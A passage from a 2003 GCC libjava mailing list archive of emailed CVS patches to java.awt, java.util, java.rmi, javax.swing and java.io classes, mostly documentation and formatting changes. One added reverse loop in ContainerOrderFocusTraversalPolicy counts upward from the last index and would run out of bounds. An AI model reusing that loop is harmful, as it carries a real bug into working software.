documentation. + (getSystemSelection): Added documentation. + (getLockingKeyState): Added documentation. + (setLockingKeyState): Added documentation. + (createCustomCursor): Added documentation. + (getBestCursorSize): Added documentation. + (getMaximumCursorColors): Added documentation. + (isFrameStateSupported): Added documentation. + 2003-03-24 Michael Koch * java/io/RandomAccessFile.java: Index: java/awt/ContainerOrderFocusTraversalPolicy.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ContainerOrderFocusTraversalPolicy.java,v retrieving revision 1.4 diff -u -r1.4 ContainerOrderFocusTraversalPolicy.java --- java/awt/ContainerOrderFocusTraversalPolicy.java 2 Mar 2003 14:01:40 -0000 1.4 +++ java/awt/ContainerOrderFocusTraversalPolicy.java 24 Mar 2003 13:49:20 -0000 @@ -104,6 +104,33 @@ if (root == null) throw new IllegalArgumentException (); + if (!root.isVisible () + || !root.isDisplayable ()) + return null; + + if (accept (root)) + return root; + + Component[] componentArray = root.getComponents (); + + for (int i = 0; i < componentArray.length; i++) + { + Component component = componentArray [i]; + + if (component instanceof Container) + { + Component result = getLastComponent ((Container) component); + + if (result != null) + return result; + } + else + { + if (accept (component)) + return component; + } + } + return null; } @@ -117,6 +144,33 @@ if (root == null) throw new IllegalArgumentException (); + if (!root.isVisible () + || !root.isDisplayable ()) + return null; + + if (accept (root)) + return root; + + Component[] componentArray = root.getComponents (); + + for (int i = componentArray.length - 1; i >= 0; i++) + { + Component component = componentArray [i]; + + if (component instanceof Container) + { + Component result = getLastComponent ((Container) component); + + if (result != null) + return result; + } + else + { + if (accept (component)) + return component; + } + } + return null; } @@ -127,15 +181,12 @@ */ public Component getDefaultComponent(Container root) { - if (root == null) - throw new IllegalArgumentException (); - - return null; + return getFirstComponent (root); } public void setImplicitDownCycleTraversal(boolean value) { - boolean implicitDownCycleTraversal = value; + implicitDownCycleTraversal = value; } public boolean getImplicitDownCycleTraversal() Index: java/awt/Robot.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Robot.java,v retrieving revision 1.1 diff -u -r1.1 Robot.java --- java/awt/Robot.java 9 Aug 2002 04:26:14 -0000 1.1 +++ java/awt/Robot.java 24 Mar 2003 13:49:20 -0000 @@ -45,66 +45,98 @@ { private boolean waitForIdle; private int autoDelay; + + /** + * Creates a Robot object. + * + * @exception AWTException If GraphicsEnvironment.isHeadless() returns true. + * @exception SecurityException If createRobot permission is not granted. + */ public Robot() throws AWTException { throw new Error("not implemented"); } + + /** + * Creates a Robot object. + * + * @exception AWTException If GraphicsEnvironment.isHeadless() returns true. + * @exception IllegalArgumentException If screen is not a screen + * GraphicsDevice. + * @exception SecurityException If createRobot permission is not granted. + */ public Robot(GraphicsDevice screen) throws AWTException { this(); } + public void mouseMove(int x, int y) { } + public void mousePress(int buttons) { } + public void mouseRelease(int buttons) { } + public void mouseWheel(int wheelAmt) { } + public void keyPress(int keycode) { } + public void keyRelease(int keycode) { } + public Color getPixelColor(int x, int y) { return null; } + public BufferedImage createScreenCapture(Rectangle screen) { return null; } + public boolean isAutoWaitForIdle() { return waitForIdle; } + public void setAutoWaitForIdle(boolean value) { waitForIdle = value; } + public int getAutoDelay() { return autoDelay; } + public void setAutoDelay(int ms) { if (ms < 0 || ms > 60000) throw new IllegalArgumentException(); + autoDelay = ms; } + public void delay(int ms) { if (ms < 0 || ms > 60000) throw new IllegalArgumentException(); } + public void waitForIdle() { } + public String toString() { return "unimplemented"; Index: java/awt/Toolkit.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Toolkit.java,v retrieving revision 1.20 diff -u -r1.20 Toolkit.java --- java/awt/Toolkit.java 13 Feb 2003 07:02:12 -0000 1.20 +++ java/awt/Toolkit.java 24 Mar 2003 13:49:20 -0000 @@ -448,6 +448,8 @@ * Returns the names of the available fonts. * * @return The names of the available fonts. + * + * @deprecated */ public abstract String[] getFontList(); @@ -457,6 +459,8 @@ * @param name The name of the font to return metrics for. * * @return The requested font metrics. + * + * @deprecated */ public abstract FontMetrics getFontMetrics(Font name); @@ -597,12 +601,32 @@ * * @return The requested print job, or null if the job * was cancelled. + * + * @exception NullPointerException If frame is null, + * or GraphicsEnvironment.isHeadless() returns true. + * @exception SecurityException If this thread is not allowed to initiate + * a print job request. */ public abstract PrintJob getPrintJob(Frame frame, String title, Properties props); - /** + * Returns a instance of PrintJob for the specified + * arguments. + * + * @param frame The window initiating the print job. + * @param title The print job title. + * @param jobAttr A set of job attributes which will control the print job. + * @param pageAttr A set of page attributes which will control the print job. + * + * @exception NullPointerException If frame is null, and either jobAttr is null + * or jobAttr.getDialog() returns JobAttributes.DialogType.NATIVE. + * @exception IllegalArgumentException If pageAttrspecifies differing cross + * feed and feed resolutions, or when GraphicsEnvironment.isHeadless() returns + * true. + * @exception SecurityException If this thread is not allowed to initiate + * a print job request. + * * @since 1.3 */ public PrintJob getPrintJob(Frame frame, String title, @@ -626,6 +650,8 @@ public abstract Clipboard getSystemClipboard(); /** + * Gets the singleton instance of the system selection as a Clipboard object. + * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. * * @since 1.4 @@ -649,21 +675,42 @@ return Event.CTRL_MASK; } + /** + * Returns whether the given locking key on the keyboard is currently in its + * "on" state. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + * @exception IllegalArgumentException If keyCode is not one of the valid keys. + * @exception UnsupportedOperationException If the host system doesn't allow + * getting the state of this key programmatically, or if the keyboard doesn't + * have this key. + */ public boolean getLockingKeyState(int keyCode) { if (keyCode != KeyEvent.VK_CAPS_LOCK && keyCode != KeyEvent.VK_NUM_LOCK && keyCode != KeyEvent.VK_SCROLL_LOCK) throw new IllegalArgumentException(); + throw new UnsupportedOperationException(); } + /** + * Sets the state of the given locking key on the keyboard. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + * @exception IllegalArgumentException If keyCode is not one of the valid keys. + * @exception UnsupportedOperationException If the host system doesn't allow + * getting the state of this key programmatically, or if the keyboard doesn't + * have this key. + */ public void setLockingKeyState(int keyCode, boolean on) { if (keyCode != KeyEvent.VK_CAPS_LOCK && keyCode != KeyEvent.VK_NUM_LOCK && keyCode != KeyEvent.VK_SCROLL_LOCK) throw new IllegalArgumentException(); + throw new UnsupportedOperationException(); } @@ -697,6 +744,13 @@ } } + /** + * Creates a new custom cursor object. + * + * @exception IndexOutOfBoundsException If the hotSpot values are outside + * the bounds of the cursor. + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + */ public Cursor createCustomCursor(Image cursor, Point hotSpot, String name) { // Presumably the only reason this isn't abstract is for backwards @@ -704,17 +758,33 @@ return null; } + /** + * Returns the supported cursor dimension which is closest to the + * desired sizes. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + */ public Dimension getBestCursorSize(int preferredWidth, int preferredHeight) { return new Dimension (0,0); } + /** + * Returns the maximum number of colors the Toolkit supports in a custom + * cursor palette. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + */ public int getMaximumCursorColors() { return 0; } /** + * Returns whether Toolkit supports this state for Frames. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + * * @since 1.4 */ public boolean isFrameStateSupported(int state) --Boundary-00=_w1wf+CbmPzuLcy9-- From java-patches-return-6581-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 13:56:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16633 invoked by alias); 24 Mar 2003 13:56:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16626 invoked from network); 24 Mar 2003 13:56:44 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 24 Mar 2003 13:56:44 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2ODuhdx025088 for ; Mon, 24 Mar 2003 14:56:43 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xSPx-0000OB-00 for ; Mon, 24 Mar 2003 14:55:14 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.util Date: Mon, 24 Mar 2003 14:58:09 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_x7wf+9azszuOIvV" Message-Id: <200303241458.09808.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_x7wf+9azszuOIvV Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commit the attached obvious patch to trunk to fix=20 java.util.regex.Pattern and java.util.regex.PatternSyntaxException. =46urthermore it fixes a documentation problem in java.util.Date. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fw7xWSOgCCdjSDsRAvtiAKCIpEUxxSy7bzzJvnxUmwd6A1laegCggpRt lhTpRwi0mBNYHwiOrkBTz6M=3D =3Df9UX =2D----END PGP SIGNATURE----- --Boundary-00=_x7wf+9azszuOIvV Content-Type: text/x-diff; charset="iso-8859-15"; name="util.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="util.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1811 diff -u -r1.1811 ChangeLog --- ChangeLog 24 Mar 2003 13:50:32 -0000 1.1811 +++ ChangeLog 24 Mar 2003 13:54:27 -0000 @@ -1,3 +1,12 @@ +2003-03-24 Michael Koch + + * java/util/Date.java: + Fixed documentation starting tag to make javadoc happy. + * java/util/regex/Pattern.java + (Pattern): Implements Serializable. + * java/util/PatternSyntaxException.java + (serialVersionUID): New member variable. + 2003-03-24 Michael Koch * java/awt/ContainerOrderFocusTraversalPolicy.java Index: java/util/Date.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/Date.java,v retrieving revision 1.10 diff -u -r1.10 Date.java --- java/util/Date.java 22 Jan 2002 22:40:38 -0000 1.10 +++ java/util/Date.java 24 Mar 2003 13:54:28 -0000 @@ -108,7 +108,7 @@ min).getTimeInMillis(); } - /* + /** * Creates a new Date Object representing the given time. * @deprecated use new GregorianCalendar(year+1900, month, * day) instead. Index: java/util/regex/Pattern.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/regex/Pattern.java,v retrieving revision 1.1 diff -u -r1.1 Pattern.java --- java/util/regex/Pattern.java 18 Sep 2002 10:15:52 -0000 1.1 +++ java/util/regex/Pattern.java 24 Mar 2003 13:54:28 -0000 @@ -38,7 +38,9 @@ // Stub class until java.util.regex is implemented. package java.util.regex; -public class Pattern +import java.io.Serializable; + +public class Pattern implements Serializable { public static Pattern compile(String regex) { Index: java/util/regex/PatternSyntaxException.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/regex/PatternSyntaxException.java,v retrieving revision 1.1 diff -u -r1.1 PatternSyntaxException.java --- java/util/regex/PatternSyntaxException.java 18 Sep 2002 10:15:52 -0000 1.1 +++ java/util/regex/PatternSyntaxException.java 24 Mar 2003 13:54:28 -0000 @@ -44,6 +44,7 @@ */ public class PatternSyntaxException extends IllegalArgumentException { + private static final long serialVersionUID = -3864639126226059218L; /** * Human readable escription of the syntax error. --Boundary-00=_x7wf+9azszuOIvV-- From java-patches-return-6582-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 14:02:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19061 invoked by alias); 24 Mar 2003 14:02:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19054 invoked from network); 24 Mar 2003 14:02:25 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 24 Mar 2003 14:02:25 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2OE2NjL017199 for ; Mon, 24 Mar 2003 15:02:24 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xSVS-0000Ow-00 for ; Mon, 24 Mar 2003 15:00:54 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.rmi Date: Mon, 24 Mar 2003 15:03:48 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_EBxf+WzlzdF/uid" Message-Id: <200303241503.49979.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_EBxf+WzlzdF/uid Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commit the attached fixes to trunk to for java.rmi. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fxBFWSOgCCdjSDsRAoIEAJ9p7v2sWf7hlBV1HjzlLHfOCtneQQCfVikH C5Fp9Gm5SDdaqbSQm0JZHlY=3D =3DdLYe =2D----END PGP SIGNATURE----- --Boundary-00=_EBxf+WzlzdF/uid Content-Type: text/x-diff; charset="iso-8859-15"; name="rmi.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="rmi.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1812 diff -u -r1.1812 ChangeLog --- ChangeLog 24 Mar 2003 13:56:57 -0000 1.1812 +++ ChangeLog 24 Mar 2003 14:01:20 -0000 @@ -1,5 +1,14 @@ 2003-03-24 Michael Koch + * java/rmi/activation/ActivationInstantiator.java: + Reformatted. + * java/rmi/activation/Activator.java: + Reformatted. + * java/rmi/registry/RegistryHandler.java: + Remerged from classpath. + +2003-03-24 Michael Koch + * java/util/Date.java: Fixed documentation starting tag to make javadoc happy. * java/util/regex/Pattern.java Index: java/rmi/activation/ActivationInstantiator.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/activation/ActivationInstantiator.java,v retrieving revision 1.2 diff -u -r1.2 ActivationInstantiator.java --- java/rmi/activation/ActivationInstantiator.java 22 Jan 2002 22:40:25 -0000 1.2 +++ java/rmi/activation/ActivationInstantiator.java 24 Mar 2003 14:01:20 -0000 @@ -42,8 +42,8 @@ import java.rmi.MarshalledObject; public interface ActivationInstantiator - extends Remote { - -public MarshalledObject newInstance(ActivationID id, ActivationDesc desc) throws ActivationException, RemoteException; - + extends Remote +{ + public MarshalledObject newInstance (ActivationID id, ActivationDesc desc) + throws ActivationException, RemoteException; } Index: java/rmi/activation/Activator.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/activation/Activator.java,v retrieving revision 1.2 diff -u -r1.2 Activator.java --- java/rmi/activation/Activator.java 22 Jan 2002 22:40:25 -0000 1.2 +++ java/rmi/activation/Activator.java 24 Mar 2003 14:01:20 -0000 @@ -42,8 +42,8 @@ import java.rmi.MarshalledObject; public interface Activator - extends Remote { - -public MarshalledObject activate(ActivationID id, boolean force) throws ActivationException, UnknownObjectException, RemoteException; - + extends Remote +{ + public MarshalledObject activate(ActivationID id, boolean force) + throws ActivationException, UnknownObjectException, RemoteException; } Index: java/rmi/registry/RegistryHandler.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/registry/RegistryHandler.java,v retrieving revision 1.3 diff -u -r1.3 RegistryHandler.java --- java/rmi/registry/RegistryHandler.java 1 Mar 2003 22:35:25 -0000 1.3 +++ java/rmi/registry/RegistryHandler.java 24 Mar 2003 14:01:20 -0000 @@ -1,5 +1,5 @@ /* - Copyright (c) 1996, 1997, 1998, 1999, 2003 Free Software Foundation, Inc. + Copyright (c) 1996, 1997, 1998, 1999 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -41,7 +41,6 @@ import java.rmi.UnknownHostException; /** - * An internal interface that should no longer be used. * @deprecated */ public interface RegistryHandler { --Boundary-00=_EBxf+WzlzdF/uid-- From java-patches-return-6583-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 14:05:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20086 invoked by alias); 24 Mar 2003 14:05:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20079 invoked from network); 24 Mar 2003 14:05:35 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 24 Mar 2003 14:05:35 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2OE5Xdx029315 for ; Mon, 24 Mar 2003 15:05:34 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xSYW-0000P5-00 for ; Mon, 24 Mar 2003 15:04:04 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: javax.swing Date: Mon, 24 Mar 2003 15:07:00 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_EExf+DUZJbCemCI" Message-Id: <200303241507.00173.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_EExf+DUZJbCemCI Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attache patch to trunk to fix some swing things. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fxEEWSOgCCdjSDsRAki5AJ9mJkFWuF2IP2gu40jBTj+W4jSf9ACfcOdR VaKK1Al9KWxYmVXAJIceZ7w=3D =3DwFEH =2D----END PGP SIGNATURE----- --Boundary-00=_EExf+DUZJbCemCI Content-Type: text/x-diff; charset="iso-8859-15"; name="swing.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="swing.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1813 diff -u -r1.1813 ChangeLog --- ChangeLog 24 Mar 2003 14:01:40 -0000 1.1813 +++ ChangeLog 24 Mar 2003 14:04:25 -0000 @@ -1,5 +1,14 @@ 2003-03-24 Michael Koch + * javax/swing/text/ComponentView.java + (getComponent): Must be final. + * javax/swing/tree/DefaultTreeCellRenderer.java: + Reformatted. + * javax/swing/undo/StateEditable.java: + Reformatted. + +2003-03-24 Michael Koch + * java/rmi/activation/ActivationInstantiator.java: Reformatted. * java/rmi/activation/Activator.java: Index: javax/swing/text/ComponentView.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/text/ComponentView.java,v retrieving revision 1.1 diff -u -r1.1 ComponentView.java --- javax/swing/text/ComponentView.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/text/ComponentView.java 24 Mar 2003 14:04:25 -0000 @@ -46,7 +46,6 @@ super(elem); } - protected Component createComponent() { return null; @@ -57,7 +56,7 @@ return 0; } - public Component getComponent() + public final Component getComponent() { return null; } Index: javax/swing/tree/DefaultTreeCellRenderer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/tree/DefaultTreeCellRenderer.java,v retrieving revision 1.1 diff -u -r1.1 DefaultTreeCellRenderer.java --- javax/swing/tree/DefaultTreeCellRenderer.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/tree/DefaultTreeCellRenderer.java 24 Mar 2003 14:04:26 -0000 @@ -45,8 +45,10 @@ * DefaultTreeCellRenderer * @author Andrew Selkirk */ -public class DefaultTreeCellRenderer extends JLabel implements TreeCellRenderer { - +public class DefaultTreeCellRenderer + extends JLabel + implements TreeCellRenderer +{ //------------------------------------------------------------- // Variables -------------------------------------------------- //------------------------------------------------------------- Index: javax/swing/undo/StateEditable.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/undo/StateEditable.java,v retrieving revision 1.1 diff -u -r1.1 StateEditable.java --- javax/swing/undo/StateEditable.java 9 Aug 2002 04:26:13 -0000 1.1 +++ javax/swing/undo/StateEditable.java 24 Mar 2003 14:04:26 -0000 @@ -44,19 +44,22 @@ * StateEditable interface * @author Andrew Selkirk */ -public interface StateEditable { - - /** - * Restore State - * @param state State - */ - public void restoreState(Hashtable state); - - /** - * Store State - * @param state State - */ - public void storeState(Hashtable state); +public interface StateEditable +{ + /** + * Upon receiving this message the receiver should extract any relevant + * state out of state + * + * @param state State + */ + public void restoreState(Hashtable state); + /** + * Upon receiving this message the receiver should place any relevant state + * into state + * + * @param state State + */ + public void storeState(Hashtable state); } // StateEditable --Boundary-00=_EExf+DUZJbCemCI-- From java-patches-return-6584-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 15:43:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32687 invoked by alias); 24 Mar 2003 15:43:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32673 invoked from network); 24 Mar 2003 15:43:23 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by sources.redhat.com with SMTP; 24 Mar 2003 15:43:23 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-67-013.ewetel.net [80.228.67.13]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2OFhLjL029642 for ; Mon, 24 Mar 2003 16:43:22 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xU57-0000VR-00 for ; Mon, 24 Mar 2003 16:41:49 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io - more merges Date: Mon, 24 Mar 2003 16:44:44 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_sfyf+NlM1cQzpWk" Message-Id: <200303241644.44126.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_sfyf+NlM1cQzpWk Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to merge some more java.io=20 stuff with classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fyfsWSOgCCdjSDsRAkT9AKCUQ9KvM+hpOO6cpkpNV06l26HglwCfU8Yc 1//SoWenf9kMmRlLCk/pGmo=3D =3D4ebk =2D----END PGP SIGNATURE----- --Boundary-00=_sfyf+NlM1cQzpWk Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1814 diff -u -r1.1814 ChangeLog --- ChangeLog 24 Mar 2003 14:05:01 -0000 1.1814 +++ ChangeLog 24 Mar 2003 15:38:15 -0000 @@ -1,5 +1,32 @@ 2003-03-24 Michael Koch + * java/io/DataOutputStream.java + (write): Merged from classpath. + * java/io/File.java: + Merged copyrigth with classpath. + * java/io/FileInputStream.java + (getChannel): Made it synchronized instead of using a synchronized + block. + * java/io/FileOutputStream.java: Reformatted. + * java/io/InputStreamReader.java + (InputStreamReader): Renamed enc to encoding_name. + (close): Merged documentation from classpath. + (getEncoding): Merged documentation from classpath. + (ready): Merged documentation from classpath. + (read): Merged documentation from classpath. + * java/io/LineNumberReader.java + (lineNumber): Made it private. + (LineNumberReader): Use Constant instead of a direct value. + * java/io/OutputStreamWriter.java + (OutputStreamWriter): Renamed enc to encoding_scheme, merged + documentation from classpath. + (close): Merged documentation from classpath. + (flush): Merged documentation from classpath. + (write): Merged documentation from classpath. + * java/io/PrintStream.java: Reformatted. + +2003-03-24 Michael Koch + * javax/swing/text/ComponentView.java (getComponent): Must be final. * javax/swing/tree/DefaultTreeCellRenderer.java: Index: java/io/DataOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/DataOutputStream.java,v retrieving revision 1.7 diff -u -r1.7 DataOutputStream.java --- java/io/DataOutputStream.java 24 Mar 2003 08:27:28 -0000 1.7 +++ java/io/DataOutputStream.java 24 Mar 2003 15:38:15 -0000 @@ -122,10 +122,10 @@ * * @exception IOException If an error occurs. */ - public synchronized void write (byte[] b, int off, int len) - throws IOException, NullPointerException, IndexOutOfBoundsException + public synchronized void write (byte[] buf, int offset, int len) + throws IOException { - out.write(b, off, len); + out.write(buf, offset, len); written += len; } Index: java/io/File.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/File.java,v retrieving revision 1.28 diff -u -r1.28 File.java --- java/io/File.java 24 Mar 2003 08:27:28 -0000 1.28 +++ java/io/File.java 24 Mar 2003 15:38:15 -0000 @@ -1,5 +1,5 @@ /* File.java -- Class representing a file on disk - Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. Index: java/io/FileInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileInputStream.java,v retrieving revision 1.13 diff -u -r1.13 FileInputStream.java --- java/io/FileInputStream.java 24 Mar 2003 08:27:28 -0000 1.13 +++ java/io/FileInputStream.java 24 Mar 2003 15:38:15 -0000 @@ -280,15 +280,12 @@ * A file channel must be created by first creating an instance of * Input/Output/RandomAccessFile and invoking the getChannel() method on it. */ - public FileChannel getChannel () + public synchronized FileChannel getChannel () { - synchronized (this) - { - if (ch == null) - ch = new FileChannelImpl (fd, false, this); + if (ch == null) + ch = new FileChannelImpl (fd, false, this); - return ch; - } + return ch; } } // class FileInputStream Index: java/io/FileOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileOutputStream.java,v retrieving revision 1.9 diff -u -r1.9 FileOutputStream.java --- java/io/FileOutputStream.java 23 Mar 2003 19:11:19 -0000 1.9 +++ java/io/FileOutputStream.java 24 Mar 2003 15:38:16 -0000 @@ -41,18 +41,21 @@ import java.nio.channels.FileChannel; import gnu.java.nio.FileChannelImpl; -/** - * @author Tom Tromey - * @date September 24, 1998 - */ - /* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 * "The Java Language Specification", ISBN 0-201-63451-1 * Status: Complete to version 1.1. */ +/** + * @author Tom Tromey + * @date September 24, 1998 + */ public class FileOutputStream extends OutputStream { + // Instance variables. + private FileDescriptor fd; + private FileChannel ch; + public FileOutputStream (String path, boolean append) throws SecurityException, FileNotFoundException { @@ -159,7 +162,4 @@ } } - // Instance variables. - private FileDescriptor fd; - private FileChannel ch; } Index: java/io/InputStreamReader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/InputStreamReader.java,v retrieving revision 1.12 diff -u -r1.12 InputStreamReader.java --- java/io/InputStreamReader.java 20 Mar 2003 07:47:01 -0000 1.12 +++ java/io/InputStreamReader.java 24 Mar 2003 15:38:16 -0000 @@ -66,10 +66,10 @@ this(in, BytesToUnicode.getDefaultDecoder()); } - public InputStreamReader(InputStream in, String enc) + public InputStreamReader(InputStream in, String encoding_name) throws UnsupportedEncodingException { - this(in, BytesToUnicode.getDecoder(enc)); + this(in, BytesToUnicode.getDecoder(encoding_name)); } private InputStreamReader(InputStream in, BytesToUnicode decoder) @@ -88,6 +88,12 @@ converter.setInput(this.in.buf, 0, 0); } + /** + * This method closes this stream, as well as the underlying + * InputStream. + * + * @exception IOException If an error occurs + */ public void close() throws IOException { synchronized (lock) @@ -100,11 +106,29 @@ } } + /** + * This method returns the name of the encoding that is currently in use + * by this object. If the stream has been closed, this method is allowed + * to return null. + * + * @param The current encoding name + */ public String getEncoding() { return in != null ? converter.getName() : null; } + /** + * This method checks to see if the stream is read to be read. It + * will return true if is, or false if it is not. + * If the stream is not ready to be read, it could (although is not required + * to) block on the next read attempt. + * + * @return true if the stream is ready to be read, + * false otherwise + * + * @exception IOException If an error occurs + */ public boolean ready() throws IOException { synchronized (lock) @@ -149,6 +173,13 @@ } } + /** + * This method reads a single character of data from the stream. + * + * @return The char read, as an int, or -1 if end of stream. + * + * @exception IOException If an error occurs + */ public int read() throws IOException { synchronized (lock) @@ -198,4 +229,6 @@ } } } -} + +} // class InputStreamReader + Index: java/io/LineNumberReader.java =================================================================== RCS file: 